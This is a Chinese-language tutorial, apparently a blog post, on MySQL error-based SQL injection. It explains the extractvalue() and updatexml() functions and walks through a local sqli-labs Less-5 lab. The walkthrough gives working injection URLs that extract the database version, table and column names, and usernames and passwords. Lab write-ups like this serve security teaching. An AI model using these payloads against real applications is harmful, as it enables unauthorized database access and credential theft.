08、注入篇--报错注入

利用场景

当页面没有正确的返回错误信息时,就可以利用报错注入

原理

​ 利用数据库中的个别函数进行报错使用

常见函数

  • updatexml()
  • extractvalue()

extractvalue()

extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

extractvalue(456,concat(0x7e,version(),0x7e))

updatexml()

updatexml():更新XML文档的函数

语法:updatexml(目标xml内容,xml文档路径,更新的内容)

updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码

其他所用函数

  • concat() ==>将多个字符串连接成一个字符串

靶场

1、进入靶场
在这里插入图片描述
2、使用反斜杠\进行探测,报出错误信息
在这里插入图片描述

3、分析报错

''1\' LIMIT 0,1' ==>'1\' LIMIT 0,1  ==>猜测变量由单引号包裹
故构造payload  1' -- q

4、写入payload,页面正常
在这里插入图片描述

5、得到字段数3,观察到页面没有回显点,但是有报错信息
在这里插入图片描述
在这里插入图片描述

6、可利用updatexml()函数

构造payload:updatexml(1,concat(0x7e,version(),0x7e),1)
注意MySQL支持16进制编码
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)-- q
得出版本号 5.0以上

在这里插入图片描述

7、利用MySQL自带数据库information_schema

http://127.0.0.1/sqli/Less-5/?id=1' and
 updatexml(1,concat(0x7e,(select table_name from information_schema.tables where 
 table_schema=database() limit 0,1),0x7e),1) -- q

在这里插入图片描述
在这里插入图片描述
8、查看users表中的字段名

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,
concat(0x7e,(select column_name from information_schema.columns where
 table_schema=database() and table_name='users' limit 0,1),0x7e),1) -- q

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得出users表中有三个字段名:id、username、password

9、分别得出username和password 字段数据
第一个username字段数据Dumb
在这里插入图片描述
第一个password字段数据:Dumb
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值